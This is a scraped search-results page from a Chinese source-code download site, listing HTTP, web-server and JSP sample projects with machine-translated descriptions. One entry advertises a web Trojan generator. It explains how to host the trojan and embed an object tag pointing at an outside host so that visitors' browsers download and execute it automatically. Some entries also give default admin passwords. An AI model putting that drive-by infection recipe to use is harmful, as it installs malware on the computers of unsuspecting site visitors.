Welcome![Sign In][Sign Up]
Location:
Search - http file server

Search list

[Internet-Networkhttp_client_2.0

Description: 一个简单的http下载程序,用C++在linux下写了一个简单的http下载程序,程序的功能很简单,在终端输入文件所在网址,程序会单线程从服务器上下载该文件到本地。程序里面涉及了socket编程、http协议、二进制文件的写入。-a simple http download and use under linux C wrote in a simple http download procedure is very simple function of the input terminal is located site will be single-threaded process from the server to download the file to the local. Inside the socket programming involved, http agreement, write a binary file.
Platform: | Size: 5253 | Author: 丁丁 | Hits:

[Web Server用Java实现Web服务器

Description: 用Java实现Web服务器 本文实现了GET请求的Web服务器程序的方法,通过创建ServerSocket类对象,监听端口8080; 等待、接受客户机连接到端口8080; 创建与socket字相关联的输入流和输出流 然后,读取客户机的请求信息,若请求类型是GET,则从请求信息中获取所访问的HTML文件名,如果HTML文件存在,则打开HTML文件,把HTTP头信息和HTML文件内容通过socket传回给Web浏览器,然后关闭文件。否则发送错误信息给Web浏览器。最后,关闭与相应Web浏览器连接的socket字。-Java Web server is to achieve a GET request to the Web server, through the creation of ServerSocket class object, bugging port 8080; Wait, a client is connected to port 8080; Socket character creation and the associated input and output streams flow then read the client's request information, if the request is the type of GET, request information from being accessed visit HTML document, and if the HTML document exists, then open the HTML file, HTTP headers and HTML files through the socket sent back to the Web browser and then close the file. Otherwise, send the wrong message to the Web browser. Finally, the closing and the corresponding Web browser connected to the socket word.
Platform: | Size: 10425 | Author: 雨岳 | Hits:

[Other resourceLanExplorer_v1.62

Description: 最好的局域网搜索软件,支持同时搜索共享文件、FTP、HTTP资源。 1.方便快捷地搜索、浏览局域网资源。多线程搜索局域网上所有的工作组、主机、打印机、共享文件、FTP文件、WEB服务器。 2.可以按照网上邻居、工作组或者按照IP地址段自动搜索所有共享/FTP的mp3、电影或自定义搜索的文件; 3.内置nbtstat,能快速查找某一IP网段内的所有主机,并根据IP地址得到对方主机的主机名、工作组名、用户名、MAC地址,速度极快。能将扫描和搜索的结果保存成文本文件或excel电子表格文件。 4.能对某一地址范围的主机进行ping,端口扫描操作,找出所有的WEB服务器,FTP服务器等。能向某一主机发送消息。 5.局域网机器间拷贝文件时,提供文件和目录的断点续传的功能。同时支持FTP下载的断点续传。 6.采用类似资源管理器的界面,操作十分方便。绿色软件,开放源代码。-best LAN search software, supports simultaneous searches for sharing files, FTP, HTTP resources. 1. Quick and easy to search, browse LAN resources. Multithreading LAN search all of the working group, servers, printers, file sharing, FTP, WEB server. 2. According to neighbors, according to the Working Group or the IP address of automatically search all sharing / FTP mp3, since the definition of a movie or search documents; 3. built nbtstat. it can quickly find a particular IP detecting all the mainframe, according to IP addresses and other mainframe to be the host name, the working group, user name, MAC address, fast. Search can scan and preserve the results into a text file or Excel spreadsheet documents. 4. Able to address a range of mainframe ping, port scanning operation to identify a
Platform: | Size: 125526 | Author: 汤海 | Hits:

[WEB Code域名注册查询和域名资料查询

Description: 7j admin www.5747.com 18j admin admin 23j http://www.loori.com/bytxl 后台用户名密码:admin 15j 传全部文件及子目录到服务器,修改conn.asp文件中数据库   路径。 管理登陆:admin.asp (主页上右上角有管理登陆的连接)   网站管理员:www111.uni.cc  密码:www111.uni.cc   请管理员登录后进入“基本配置”栏进行相关设置。 3j 安装使用 欢迎使用我们的留言本,使用之前请仔细阅读版权声明。 首先,将下载的压缩文件解压缩到一个文件夹中,上传到支持ASP的服务器即可运行。 用户第一次使用留言本时,需要先申请成为版主,留言本首页为index.asp?user=用户名。 数据库默认名称为qq538.mdb,为防止恶意下载,建议改名。并在conn.asp中修改相关文件信息。 默认系统管理员帐号:admin 默认系统管理员密码:admin 。 2k admin 123456-7j admin www.5747.com (admin admin / h Miller : / / www.loori.com / bytxl background Username Password : admin - 55 subdirectory and all documents to the server, conn.asp revised document database path. Management Landings : admin.asp (Home on the upper right-hand corner of landing a management link) Webmasters : www111.uni.cc Password : please login www111.uni.cc administrators entered the "basic configuration" column for the relevant set. 3j installation welcomed the use of the messages we use to read carefully before copyright statement. First, download the compressed file to a compressed folder, upload support to the ASP server can run. Users first use of the messages that need to first apply to become moderator, voice of the Home index.asp user = user. The default name for t
Platform: | Size: 633668 | Author: aaa | Hits:

[Streaming Mpeg4komssys-0.3.6.tar

Description: The KOM(S) Streaming System provides a server, a client, and a proxy cache for audio/video streaming. The first and foremost encoding format that we use is MPEG-1 System. The primary platforms is Linux. It does not handle data in pull mode (File, HTTP and FTP) but uses RTSP/RTP (and Files). It uses RTSP as control protocol to communicate with possible streaming servers. The video data is transported via RTP. -The KOM (S) Streaming System provides a ser ver, a client, and a proxy cache for audio / video streaming. Th e first and foremost encoding format that we use is MPEG-1 System. The primary platforms is Linu x. It does not handle data in pull mode (File, HTTP and FTP), but uses RTSP / RTP (and Files). It u ses RTSP as control protocol to communicate wit h possible streaming servers. The video data is transported via RTP.
Platform: | Size: 1266786 | Author: 向军 | Hits:

[WinSock-NDIScontinue_tran

Description: 断点续传和多线程下载,可实现大文件传输.没有采用普遍的客户端,服务器方式,是一个对称性的文件传输器.基于TCP/IP-HTTP and multi-threaded download, enabling large file transfer. Not used widely client, server mode is a symmetry of the file transfer. Based on TCP / IP
Platform: | Size: 120264 | Author: wangxue | Hits:

[Ftp ServerLFTP

Description: LFTP FTP服务器 支持断点续传,设置用户权限,多线程传输文件。 -metastatic FTP server support HTTP, set user privileges, multithreaded file transfer.
Platform: | Size: 979746 | Author: 王金华 | Hits:

[JSP/Javabs_luntan

Description: 每个例子文件夹都附有数据库表、程序源文件和一个war包(或者jar包)。如果是cs结构的,那么是个jar包,而且还多一个可执行程序文件夹,如果是bs结构的则是个war包。结构如下所示: 例子 | +--- -例子名称 | +------数据库表(文件夹) | +------源代码(文件夹) | +-----jar包(ejb模块)或者war包(web模块)【部署到服务器上】 | +------可执行程序(cs结构的例子特有) | | | +-------可执行的jar包 | +------文本文件(http.txt,启动例子时,IE中输入的地址,bs结构的例子特有) 在使用例子之前,你可以用Jbuilder打开原来的工程文件,重新编译,也可以直接部署war包(或者jia包)。 -examples of each folder with all the database tables, procedures, documents and a source of X packages (jar or packet). If the structure is cs, is a jar packets, but also more than one executable file folders, If the structure is bs this is a war packet. Structure as follows : Examples | --- - Example Name | ------ database tables (folder) | ------ source code (document folder) | ----- jar Package (ejb module), or war Package (web module) [deployment to the server -- | ------ executable (cs structure of the specific examples) | | | ------- enforceable ja r Pack | ------ text file (http.txt start example, the importation of the IE address, bs structure of the specific examples) in the use of examples, You can use Jbuilder opened the original engineering documents, recompile, can be directly
Platform: | Size: 3636735 | Author: angel | Hits:

[JSP/Javabsguest

Description: bs_客户关系管理系统 每个例子文件夹都附有数据库表、程序源文件和一个war包(或者jar包)。如果是cs结构的,那么是个jar包,而且还多一个可执行程序文件夹,如果是bs结构的则是个war包。结构如下所示: 例子 | +--- -例子名称 | +------数据库表(文件夹) | +------源代码(文件夹) | +-----jar包(ejb模块)或者war包(web模块)【部署到服务器上】 | +------可执行程序(cs结构的例子特有) | | | +-------可执行的jar包 | +------文本文件(http.txt,启动例子时,IE中输入的地址,bs结构的例子特有) 在使用例子之前,你可以用Jbuilder打开原来的工程文件,重新编译,也可以直接部署war包(或者jia包)。 -bs_ customer relationship management system in each case folder with all the database tables, Source documents and procedures for a war Package (jar or packet). If the structure is cs, is a jar packets, but also more than one executable file folders, If the structure is bs this is a war packet. Structure as follows : Examples | --- - Example Name | ------ database tables (folder) | ------ source code (document folder) | ----- jar Package (ejb module), or war Package (web module) [deployment to the server -- | ------ executable (cs structure of the specific examples) | | | ------- enforceable ja r Pack | ------ text file (http.txt start example, the importation of the IE address, bs structure of the specific examples) in the use of examples, You can use Jbuilder opened the original engineer
Platform: | Size: 7434161 | Author: angel | Hits:

[JSP/Javabs_shopping

Description: bs_网上购物系统每个例子文件夹都附有数据库表、程序源文件和一个war包(或者jar包)。如果是cs结构的,那么是个jar包,而且还多一个可执行程序文件夹,如果是bs结构的则是个war包。结构如下所示: 例子 | +--- -例子名称 | +------数据库表(文件夹) | +------源代码(文件夹) | +-----jar包(ejb模块)或者war包(web模块)【部署到服务器上】 | +------可执行程序(cs结构的例子特有) | | | +-------可执行的jar包 | +------文本文件(http.txt,启动例子时,IE中输入的地址,bs结构的例子特有) 在使用例子之前,你可以用Jbuilder打开原来的工程文件,重新编译,也可以直接部署war包(或者jia包)。 -bs_ online shopping system each case folder with all the database tables, Source documents and procedures for a war Package (jar or packet). If the structure is cs, is a jar packets, but also more than one executable file folders, If the structure is bs this is a war packet. Structure as follows : Examples | --- - Example Name | ------ database tables (folder) | ------ source code (document folder) | ----- jar Package (ejb module), or war Package (web module) [deployment to the server -- | ------ executable (cs structure of the specific examples) | | | ------- enforceable ja r Pack | ------ text file (http.txt start example, the importation of the IE address, bs structure of the specific examples) in the use of examples, You can use Jbuilder opened the original engineering documents, recom
Platform: | Size: 2414333 | Author: angel | Hits:

[JSP/Javacs_caiwujizhang

Description: cs_人财务记账系统每个例子文件夹都附有数据库表、程序源文件和一个war包(或者jar包)。如果是cs结构的,那么是个jar包,而且还多一个可执行程序文件夹,如果是bs结构的则是个war包。结构如下所示: 例子 | +--- -例子名称 | +------数据库表(文件夹) | +------源代码(文件夹) | +-----jar包(ejb模块)或者war包(web模块)【部署到服务器上】 | +------可执行程序(cs结构的例子特有) | | | +-------可执行的jar包 | +------文本文件(http.txt,启动例子时,IE中输入的地址,bs结构的例子特有) 在使用例子之前,你可以用Jbuilder打开原来的工程文件,重新编译,也可以直接部署war包(或者jia包)。 -cs_ financial accounting systems were examples of each folder with all the database tables, Source documents and procedures for a war Package (jar or packet). If the structure is cs, is a jar packets, but also more than one executable file folders, If the structure is bs this is a war packet. Structure as follows : Examples | --- - Example Name | ------ database tables (folder) | ------ source code (document folder) | ----- jar Package (ejb module), or war Package (web module) [deployment to the server -- | ------ executable (cs structure of the specific examples) | | | ------- enforceable ja r Pack | ------ text file (http.txt start example, the importation of the IE address, bs structure of the specific examples) in the use of examples, You can use Jbuilder opened the original engineerin
Platform: | Size: 1267861 | Author: angel | Hits:

[JSP/Javabs_wangshangbaoming

Description: bs_网上报名系统每个例子文件夹都附有数据库表、程序源文件和一个war包(或者jar包)。如果是cs结构的,那么是个jar包,而且还多一个可执行程序文件夹,如果是bs结构的则是个war包。结构如下所示: 例子 | +--- -例子名称 | +------数据库表(文件夹) | +------源代码(文件夹) | +-----jar包(ejb模块)或者war包(web模块)【部署到服务器上】 | +------可执行程序(cs结构的例子特有) | | | +-------可执行的jar包 | +------文本文件(http.txt,启动例子时,IE中输入的地址,bs结构的例子特有) 在使用例子之前,你可以用Jbuilder打开原来的工程文件,重新编译,也可以直接部署war包(或者jia包)。 -bs_ online application system in each case folder with all the database tables, Source documents and procedures for a war Package (jar or packet). If the structure is cs, is a jar packets, but also more than one executable file folders, If the structure is bs this is a war packet. Structure as follows : Examples | --- - Example Name | ------ database tables (folder) | ------ source code (document folder) | ----- jar Package (ejb module), or war Package (web module) [deployment to the server -- | ------ executable (cs structure of the specific examples) | | | ------- enforceable ja r Pack | ------ text file (http.txt start example, the importation of the IE address, bs structure of the specific examples) in the use of examples, You can use Jbuilder opened the original engineering documents,
Platform: | Size: 3520270 | Author: angel | Hits:

[JSP/Javacs_jishi

Description: cs_日程记事系统每个例子文件夹都附有数据库表、程序源文件和一个war包(或者jar包)。如果是cs结构的,那么是个jar包,而且还多一个可执行程序文件夹,如果是bs结构的则是个war包。结构如下所示: 例子 | +--- -例子名称 | +------数据库表(文件夹) | +------源代码(文件夹) | +-----jar包(ejb模块)或者war包(web模块)【部署到服务器上】 | +------可执行程序(cs结构的例子特有) | | | +-------可执行的jar包 | +------文本文件(http.txt,启动例子时,IE中输入的地址,bs结构的例子特有) 在使用例子之前,你可以用Jbuilder打开原来的工程文件,重新编译,也可以直接部署war包(或者jia包)。 -cs_ agenda examples of each notebook system folder with all the database tables, Source documents and procedures for a war Package (jar or packet). If the structure is cs, is a jar packets, but also more than one executable file folders, If the structure is bs this is a war packet. Structure as follows : Examples | --- - Example Name | ------ database tables (folder) | ------ source code (document folder) | ----- jar Package (ejb module), or war Package (web module) [deployment to the server -- | ------ executable (cs structure of the specific examples) | | | ------- enforceable ja r Pack | ------ text file (http.txt start example, the importation of the IE address, bs structure of the specific examples) in the use of examples, You can use Jbuilder opened the original engineering documents
Platform: | Size: 4529290 | Author: angel | Hits:

[JSP/Javaxkjsp

Description: 本系统是用JSP技术开发,使用Tomcat5.0.19作为Web服务器,SQLServer 2000作为数据库服务器。 服务器的安装和环境变量、配置文件的设置,请参考有关文档。 文件目录存放为:D:\\myjsp\\kcsj 系统登陆: http://localhost:8080/myjsp/kcsj/index.jsp 登陆类型 账号 密码 教务人员 admin admin 教师 t10001 10001 学生 270306477 270306477 其他的账号和密码可查看数据库相关表。 -the system is used JSP technology development, Tomcat5.0.19 use as a Web server, SQLServer 2000 as a database server. Server installation and environment variables, the configuration file settings, please refer to the documentation. Contents of the document storage : D : \\ myjsp \\ kcsj landing system : http : / / localhost : 8080/myjsp/kcsj/index.jsp landing type account password academic staff adm in admin teachers t10001 10,001 students 270306477 270306477 Other accounts and passwords can be found on the relevant database table.
Platform: | Size: 763923 | Author: vsdfgvsg | Hits:

[Other resourcemyvideonetsql

Description: 视频点播系统使用方法如下: 1. 将\"视频点播系统\"目录下的所有文件和目录复制到IIS服务器根目录下某新建的虚目录,例如vod。 2. 在IIS中针对vod目录创建应用程序 3. 在SQL Server中使用“企业管理器”,使用“附加数据库”功能,导入database目录下的vod_Data.MDF文件建立名为“vod”的数据库 4. 根据自己的机器设置相应修改web配置文件的数据库连接字符串,具体的连接字符串有很多种方法,请参考本光盘中的第八章数码商店系统的readme文件。 5. 在IE的地址中输入“http://localhost/vod/default.aspx”即可进入该网站,其中用户名mfq密码mfq是系统自定义的管理员帐户,如果用户修改,可以修改web.config文件的配置字符串中的管理员用户名字符串。一般用户读者可以自己注册后直接使用。-Video-on-Demand system as follows : 1. "Video-on-Demand System" directory of all files and directories to your IIS server's root directory of a new virtual Contents, for example, the UNESCO Intergovernmental. 2. IIS against creation of the UNESCO Intergovernmental directory application procedures 3. In SQL Server using the "Enterprise Management , "and the use of" additional databases "function, into the database directory vod_Data.MDF documents to establish "the UNESCO Intergovernmental" data THE four. According to their machines accordingly revised the web configuration file database connection string, specific connection string there are many ways, Please refer to the CD of the 8th chapter of the digital system stores the readme file. 5. The a
Platform: | Size: 1253237 | Author: 刘斌 | Hits:

[Windows Developie66_00272

Description: 本网页木马生成器生成的为最新版本的网页木马,对90%以上的浏览器都有作用,但是唯一的遗憾就是你必须拥有自己的服务器,当然你也可以用你的肉鸡去做,具体使用方法是这样的,按说明填写程序的内容,如果按默认内容填写将在C盘下生成一个Frank.Tk的网页木马文件,然后你把他传到你的服务器上,但是注意,你必须在你的WEB服务器的MIME选项中添加.Tk这个文件类型,否则不能成功,然后把你的EXE木马文件传到FTP服务器中,这样都做好了之后,在你的主页中加这样一句代码:<object data=http://192.168.0.1/Frank.tk></object>,一切做好了之后打开你的主页,你的FTP服务器里的木马文件就自动下载到你的硬盘并自动执行,只要你的服务器速度快且正常,那么成功率几乎100%,由于本程序写得有点仓促,有什么不足请指正,若还有问题请访问本站论坛Http://BBS.QQ600.COM-this website Trojan generator for the production of the latest version of the Trojan website, more than 90% of browsers have, but the only regret is that you have to have their own server, of course, you can also use your broiler do, the specific use of this method, follow the instructions to fill in the details of the procedure if by default to fill in the contents of the next generation C-1 Trojan Frank.Tk's website, and then you put him spread your server, but note that you need in your Web server MIME option added. Tk this document type, or not successful, then Trojan your EXE file reached FTP server, so well after all, in your Home adding such a code : lt; object data = http://192.168.0.1/Frank.tkgt; lt; / objectgt; all done after a good open your home, your FTP server's Troja
Platform: | Size: 2181440 | Author: 可靠 | Hits:

[JSP/Javaassignment01forJAVA

Description: Deployment of Server 1.install Tomcat(superior than j2sdk1.4.2 and Tomcat 5.0),and setup the envionment variables of JAVA_HOME 2.decompress file assignment2.war, and copy the directory to the directory called webapps in localhost machine. 3.start Tomcat 4.access to the application via http://<hostname>:8080/assignment2
Platform: | Size: 36763 | Author: alex | Hits:

[Otherwebshot

Description: 安装步骤: 1. 系统开发语言:asp.net+access/sql server,安装时需保证您的服务器对asp.net和access/sql server数据库的 支持。windows 2000,xp 用户需要安装.NET Framework 1.1 版可再发行组件包 ,.NET Framework 1.1 Service Pack 1,.NET Framework SDK 1.1 版。 请按上面的顺序依次安装,您的服务器即可支持asp.net。也可以省略上述过程直接安装visual stdio.net。 2. 将webshot文件夹复制的硬盘上某目录下,在IIS中建立虚拟目录指向该文件夹。 3.修改Web.config配置文件中,将“F:/web/dinghuidanhomecom/db/eshop.mdb”替换为正确的数据库文件绝对路径。 请注意斜杠/的方向。 数据库绝对路径:在IIS中建立虚拟目录指向webshot根目录文件夹后访问 http://localhost/aspcheck.aspx,其中的APPL_PHYSICAL_PATH变量可以给出webshot文件夹的绝对路径,在加上数据库相对 路径即可。注:必须用数据库绝对路径 4. 数据库位置在db/文件夹下,默认名称eshop.mdb,修改时请同时修改web.config中的数据库绝对路径-installation steps : 1. System Development Language : + Asp. Net access / sql server installation and the need to ensure your server right Asp. Net and access / sql server database support. Windows 2000 and XP users need to install.NET Framework Version 1.1 Redistributable package.NET Framework 1.1 Service Pack 1.NET Framework SDK version 1.1. By the above sequence followed by the installation, your server can support Asp. Net. You can also omit the process of direct visual stdio.net installation. 2. Will webshot folder on the hard copy of a directory, established in IIS virtual directory pointing to the folder. 3. Change Web.config configuration file, "F : / web / dinghuidanhomecom / db / eshop.mdb" replacement for the correct database files absolute path. To slash / directio
Platform: | Size: 554592 | Author: dini | Hits:

[Web ServerBBSCS

Description: Oracle和SQL Server的建表文件没有经过测试,大家自己调整。 启动Tomcat,本地访问http://localhost:8080/bbscs6即可访问社区 后台管理-Oracle and SQL Server built table file has not been tested, we all adjusted. Start Tomcat, visit local communities http://localhost:8080/bbscs6 can visit management background
Platform: | Size: 12205946 | Author: 傅红星 | Hits:

[.NET/ASPX亮剑Net-深入体验与实战精要

Description: 目录 第一篇 技术基础总结 第1章 .NET,你真的知道了吗 1.1 搞清自己是干什么的 1.2 .NET的几个特性 1.3 万丈高楼平地起:面试者必会 1.3.1 C#介绍 1.3.2 命名空间 1.3.3 C#语法格式要点 1.3.4 变量 1.3.5 类型推断 1.3.6 变量的作用域 1.3.7 常量 1.3.8 流程控制 1.3.9 字符串常见操作 1.3.10 几个常用的数学函数 1.4 .NET的面向对象之门 1.4.1 继承——“子承父业” 1.4.2 委托——“任务书” 1.4.3 事件——“年终分红” 1.4.4 反射——“解剖” 1.5 .NET开发几把小刀 1.5.1 using之多变身 1.5.2 @符号的妙用 1.5.3 预处理指令,有你更轻松 1.6 Visual Studio.NET 2008 实战 1.6.1 如何创建ASP.NET项目 1.6.2 如何创建Windows项目 1.6.3 Visual Studio.NET 2008操作与使用技巧 1.6.4 常见开发调试技巧 1.6.5 错误异常处理方法 本章常见技术面试题 常见面试技巧之面试前的准备 本章小结 第2章 细节决定成败 2.1 Equals()和运算符==的区别 2.2 const和readonly的区别 2.3 private、protected、public和internal的区别 2.4 sealed、new、virtual、abstract与override 2.5 abstract class与interface 2.6 公共变量与属性的区别 2.7 参数修饰符params、out和ref的区别 2.8 值类型和引用类型的区别 2.9 结构与类的区别 2.10 Dispose()和Close()、Finalize()的区别 2.11 string和StringBuilder有什么区别 2.12 Debug版本和Release版本的区别 本章常见技术面试题 常见面试技巧之细节决定成败 本章小结 第3章 ASP.NET开发大杂烩 3.1 页面生命周期 3.1.1 独立页面生命周期事件顺序 3.1.2 具有Master页的生命周期事件顺序 3.1.3 ASP.NET生命周期详解 3.2 页面状态管理 3.2.1 Cookie 3.2.2 HtmlInputHidden隐藏域 3.2.3 ViewState 3.2.4 查询字符串Request 3.2.5 Aplication对象 3.2.6 Session对象 3.2.7 示例项目:在线用户列表统计 3.3 服务器和客户端数据交互 3.3.1 页面数据绑定全攻略 3.3.2 Bind和Eval的区别 3.4 ASP.NET编程中的技巧 3.4.1 页面之间传值的7种方法 3.4.2 get与post方法的区别 3.4.3 ASP.NET服务器控件和HTML控件的区别 3.4.4 Server.Transfer和Response.Redirect的区别 3.4.5 刷新页面的方法汇总 3.4.6 页面事件控制 3.4.7 在URL中传递中文的解决方案 3.4.8 增强用户体验的一些技巧 3.4.9 XHTML与HTML的区别 3.5 打造自己的页面基类PageBase 本章常见技术面试题 常见面试技巧之如何做好自我介绍 本章小结 第4章 Windows窗体编程你也行 4.1 创建简单的WinForm项目 4.2 创建MDI窗体应用 4.3 获取应用程序路径信息 4.4 回车跳转控件焦点 4.5 窗体间传递复杂数据 4.5.1 构造传递 4.5.2 公有字段传递 4.5.3 委托与事件传递 4.6 实现个性化窗体界面 4.7 无标题窗体拖动的两种方法 4.8 让程序只启动一次——单实例运行 4.9 实现系统托盘和热键呼出 4.10 进程与多线程的区别 4.11 创建多线程应用程序 4.12 WinForm开发常见问题 4.12.1 如何设置运行时窗体的起始位置 4.12.2 如何使一个窗体在屏幕的最顶端 4.12.3 实现窗体渐显效果 4.12.4 设置窗口背景为渐变色 4.12.5 模态窗口和非模态窗口 4.12.6 屏蔽窗口右上角的关闭操作 4.12.7 调用执行外部的程序 本章常见技术面试题 常见面试技巧之经典问题巧回答 本章小结 第5章 数据库开发 5.1 ADO.NET与抽水的故事 5.1.1 ADO.NET的定义 5.1.2 趣味理解ADO.NET对象模型 5.1.3 进水笼头——建立Connection 5.1.4 抽水机——Command 5.1.5 输水管——DataAdapter 5.1.6 输水管——DataReader 5.1.7 随用随关,释放资源 5.1.8 水库管理——DataSet 5.1.9 水池子——DataTable 5.2 数据库操作类的封装详解 5.2.1 执行命令方法的封装 5.2.2 查询数据方法的封装 5.2.3 数据统计方法的封装 5.2.4 实现SqlParameter方式 5.2.5 实现多数据库的访问 5.3 常用经典SQL语句 5.4 事务处理 5.4.1 SQL和存储过程级别的事务 5.4.2 ADO.NET级别的事务 5.4.3 ASP.NET页面级别的事务 5.4.4 企业级服务COM+事务 5.4.5 System.Transactions 事务处理 5.5 Oracle开发常见问题 5.5.1 Oracle和SQL Server的常用函数对比 5.5.2 Oracle和SQL Server的语句区别 5.5.3 ASP.NET连接Oracle失败的解决方法 本章常见技术面试题 常见面试技巧之经典问题巧回答 本章小结 第6章 关于XML 6.1 XML概述 6.1.1 XML和HTML有什么区别 6.1.2 XML的优势 6.2 文档结构与基本语法 6.3 XML操作 6.3.1 XmlDocument创建XML文档 6.3.2 XmlTextWriter创建XML文档 6.3.3 XmlDocument读取XML文档 6.3.4 XmlTextReader读取XML文档 6.3.5 在HTML中显示XML中的数据 6.3.6 JavaScript获取XML内容 6.3.7 项目案例:通用自定义XML配置类 6.4 ADO.NET与XML 6.4.1 读XML文档到DataSet 6.4.2 DataSet转为XML文档 6.5 项目案例1:实现网站的RSS应用 6.6 项目案例2:在线实现RSS阅读器 本章常见技术面试题 常见面试技巧之经典问题巧回答 本章小结 第7章 Web Service开发详解 7.1 Web Service基本概念 7.2 Web Service的应用场景 7.3 创建简单的Web Service项目应用 7.4 Web Service属性介绍 7.5 ASP.NET如何调用Web Service 7.6 JavaScript如何调用Web Service 7.6.1 通过webbehavior.htc调用Web Service 7.6.2 通过Microsoft.XMLDOM调用Web Service 7.6.3 XMLHTTP POST调用Web Service 7.6.4 SOAP调用Web Service 7.7 WinForm如何调用Web Service 7.7.1 .NET的WinForm调用Web Service 7.7.2 手动发送HTTP请求调用Web Service 7.8 实现异步调用Web Service 7.9 如何保证Web Service的安全 7.9.1 通过SoapHeader来增强Web Service的安全性 7.9.2 采用SSL实现加密传输 7.9.3 访问IP限制 7.10 Web Service开发中需要注意的 问题 本章常见技术面试题 常见面试技巧之经典问题巧回答 本章小结 第8章 用户体验的杀手锏——Ajax 8.1 Ajax概述 8.1.1 什么是Ajax 8.1.2 Ajax技术的核心 8.1.3 Ajax的工作原理 8.1.4 Ajax的优点 8.1.5 Ajax的问题 8.1.6 Ajax适用场景 8.1.7 Ajax不适用场景 8.1.8 XMLHttpRequest开发实例 8.2 微软VS.NET的Ajax开发 8.2.1 安装ASP.NET 2.0 Ajax Extensions 8.2.2 创建ASP.NET Ajax应用程序 8.2.3 ScriptManager控件使用技巧 8.2.4 UpdaetPanel控件使用技巧 8.2.5 AsyncPostBackTrigger实现外部控件引发局部刷新 8.2.6 Ajax错误处理 8.2.7 告诉用户你正在做什么——UpdateProgress控件 8.2.8 ASP.NET AjaxControToolKit简介 8.3 使用第三方组件 Ajax.dll 开发 8.4 使用第三方组件AjaxPro的开发 8.5 使用第三方组件MagicAjax的开发 8.6 Ajax开发原则 本章常见技术面试题 常见面试技巧之经典问题巧回答 本章小结 第9章 系统与文件操作 9.1 获取系统信息 9.1.1 用SystemInformation类获取系统信息 9.1.2 用Environment 类获取系统信息 9.1.3 通过WMI获取系统信息 9.1.4 用RegistryKey 类读取系统信息 9.1.5 用API函数获取系统信息 9.1.6 获取系统服务信息 9.2 文件操作 9.2.1 StreamWriter类实现写文件 9.2.2 通过File类创建文件 9.2.3 通过FileStream类创建文件 9.2.4 通过FileInfo类创建文件 9.2.5 追加文本 9.2.6 读取文本文件 9.2.7 读写二进制文件 9.2.8 文件复制、移动、删除 9.3 文件夹目录操作 9.4 读写INI文件 9.5 读写注册表 本章常见技术面试题 常见面试技巧之经典问题巧回答 本章小结 第10章 网络应用开发 10.1 Socket基本编程 10.1.1 Socket基本知识 10.1.2 Socket服务端开发步骤 10.1.3 Socket客户端开发步骤 10.2 异步Socket通信——实现MSN机器人 10.2.1 机器人服务端 10.2.2 客户端实现步骤 10.3 基于TCP协议的客户端和服务端 10.3.1 TcpListener 实现网络服务端 10.3.2 TcpClient实现网络客户端 本章常见技术面试题 常见面试技巧之经典问题巧回答 本章小结 第11章 Windows Service开发 11.1 什么是Windows服务 11.2 创建Windows服务 11.3 Windows服务开发常见问题 11.4 安装/卸载Windows服务 11.4.1 安装Windows服务 11.4.2 卸载Windows服务 11.4.3 Windows服务应用程序体系结构 11.5 调试Windows服务 11.5.1 日志调试法 11.5.2 附加进程断点调试法 本章常见技术面试题 职场智慧之初入江湖 本章小结 第12章 新技术初探 12.1 WPF 421 12.1.1 WPF简介 421 12.1.2 WPF何以令人佩服 422 12.1.3 XAML概述 422 12.1.4 WPF开发环境配置 423 12.1.5 项目示例:开发一个简单的WPF应用程序 424 12.2 WCF 427 12.2.1 SOA是什么 427 12.2.2 WCF是什么 428 12.2.3 WCF的优势是什么 428 12.2.4 WCF开发环境 431 12.2.5 项目示例:订票服务WCF开发步骤 431 12.3 LINQ 440 12.3.1 LINQ的架构 441 12.3.2 传统的查询 441 12.3.3 LINQ查询实例 444 12.3.4 LINQ查询语法 448 本章常见技术面试题 449 职场智慧之学习方法 449 本章小结 450 第二篇 系统架构设计思想 第13章 面向对象思想 13.1 为什么要面向对象 454 13.2 什么是面向对象 456 13.3 面向对象的特点 458 13.3.1 封装 459 13.3.2 继承 459 13.3.3 多态 460 13.4 面向对象设计和开发实例 466 13.4.1 传统过程化设计实现播放器功能 466 13.4.2 基于面向对象设计实现播放器功能 467 13.4.3 面向对象封装、继承、多态的应用 468 13.4.4 设计模式、条件外置及反射技术的应用 471 13.5 面向对象分析(OOA)的方法 475 13.6 面向对象设计的原则 478 13.6.1 优先使用(对象)组合,而非(类)继承 478 13.6.2 针对接口编程,而非(接口的)实现 481 13.6.3 开放-封闭法则(OCP) 482 13.6.4 Liskov替换法则(LSP) 485 13.6.5 单一职责原则(SRP) 486 13.6.6 依赖倒置原则(DIP) 486 13.6.7 接口分离原则(ISP) 489 13.6.8 面向对象设计时需要注意的问题 490 本章常见技术面试题 491 本章小结 491 第14章 三层架构项目开发 14.1 什么是三层架构 494 14.1.1 常用的三层架构设计 494 14.1.2 趣味理解:三层架构与养猪 496 14.2 为什么要用三层架构 497 14.3 三层架构项目开发示例 500 14.3.1 数据库设计 500 14.3.2 创建整体解决方案 501 14.3.3 业务实体Model的实现 502 14.3.4 数据访问层的实现 504 14.3.5 业务逻辑层的实现 509 14.3.6 表示层的实现 510 14.4 实现基于工厂模式的三层架构 512 14.4.1 扩展新增数据访问层 512 14.4.2 IDAL抽象接口的实现 513 14.4.3 创建DAL对象的封装 517 14.4.4 实现抽象工厂模式 519 14.4.5 工厂模式的三层架构图 521 本章常见技术面试题 522 职场智慧之程序员的职业规划 523 本章小结 524 第15章 大型网站的性能优化与安全 15.1 高效C#编码优化 526 15.2 页面(HTML)优化的方法 534 15.3 ASP.NET开发性能优化 540 15.3.1 如没必要,尽量使用静态HTML页面 540 15.3.2 避免不必要的回送操作 541 15.3.3 尽量在客户端进行用户输入验证 541 15.3.4 关闭不必要的Session状态 542 15.3.5 优先使用HTML控件,而非服务器控件 542 15.3.6 不必要时关闭ViewState 542 15.3.7 禁用调试模式 543 15.4 系统缓存管理 543 15.4.1 缓存的分类 544 15.4.2 传统缓存方式 545 15.4.3 页面输出缓存 545 15.4.4 页面输出缓存API 548 15.4.5 页面局部缓存 549 15.4.6 应用程序数据缓存 554 15.4.7 文件缓存依赖 555 15.4.8 数据库缓存依赖 557 15.4.9 Memcached——分布式缓存系统 560 15.4.10 Cacheman——.NET架构下的分布式缓存项目 561 15.5 数据库访问性能优化 562 15.5.1 选择合适的.NET数据供应器 563 15.5.2 及时地关闭数据库连接 563 15.5.3 跟踪监视SQL Server当前链接池状态 564 15.5.4 善用数据库的存储过程 567 15.5.5 SqlDataRead和Dataset的选择 567 15.5.6 ExecuteNonQuery和ExecuteScalar的选择 568 15.5.7 数据的绑定DataBinder 568 15.5.8 使用DataReader的注意事项 568 15.5.9 Command对象的使用 569 15.5.10 反复地执行SQL语句用 Prepare() 569 15.5.11 分页的数据访问 570 15.5.12 